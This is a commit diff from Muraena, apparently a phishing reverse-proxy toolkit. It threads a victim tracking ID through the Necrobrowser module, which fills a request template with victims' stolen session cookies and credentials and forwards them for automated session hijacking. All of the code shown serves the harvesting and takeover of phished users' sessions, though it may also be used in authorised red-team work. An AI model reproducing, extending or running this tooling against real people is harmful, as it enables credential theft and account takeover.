Pass Tracking ID to Necrobrowser

muraenateam · Nov 24, 2022 · a99c513 · a99c513
1 parent d4b2c73
commit a99c513
Show file tree

Hide file tree

Showing 2 changed files with 12 additions and 3 deletions.
diff --git a/module/necrobrowser/necrobrowser.go b/module/necrobrowser/necrobrowser.go
@@ -25,6 +25,7 @@ const (
 	Author = "Muraena Team"
 
 	// Placeholders for templates
+	TrackerPlaceholder = "%%%TRACKER%%%"
 	CookiePlaceholder      = "%%%COOKIES%%%"
 	CredentialsPlaceholder = "%%%CREDENTIALS%%%"
 )
@@ -155,7 +156,7 @@ func (module *Necrobrowser) CheckSessionCookies() {
 
 		// if we find the cookies, and the session has not been already instrumented (== false), then instrument
 		if cookiesNeeded == cookiesFound && !v.SessionInstrumented {
-			module.Instrument(v.Cookies, "[]") // TODO add credentials JSON, instead of passing empty [] array
+			module.Instrument(v.ID, v.Cookies, "[]") // TODO add credentials JSON, instead of passing empty [] array
 			// prevent the session to be instrumented twice
 			_ = db.SetSessionAsInstrumented(v.ID)
 		}
@@ -171,7 +172,11 @@ func Contains(slice *[]string, find string) bool {
 	return false
 }
 
-func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) {
+
+
+
+
+func (module *Necrobrowser) Instrument(victimID string, cookieJar []db.VictimCookie, credentialsJSON string) {
 
 	var necroCookies []SessionCookie
 	const timeLayout = "2006-01-02 15:04:05 -0700 MST"
@@ -206,6 +211,7 @@ func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJ
 	}
 
 	cookiesJSON := string(c)
+	module.Request = strings.ReplaceAll(module.Request, TrackerPlaceholder, victimID)
 	module.Request = strings.ReplaceAll(module.Request, CookiePlaceholder, cookiesJSON)
 	module.Request = strings.ReplaceAll(module.Request, CredentialsPlaceholder, credentialsJSON)
 
@@ -224,3 +230,6 @@ func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJ
 	module.Info("NecroBrowser Response: %+v", resp)
 	return
 }
+
+
+
diff --git a/module/tracking/tracking.go b/module/tracking/tracking.go
@@ -510,7 +510,7 @@ func (t *Trace) HijackSession(request *http.Request) (err error) {
 	} else {
 		nb, ok := m.(*necrobrowser.Necrobrowser)
 		if ok {
-			go nb.Instrument(victim.Cookies, string(creds))
+			go nb.Instrument(victim.ID, victim.Cookies, string(creds))
 		}
 	}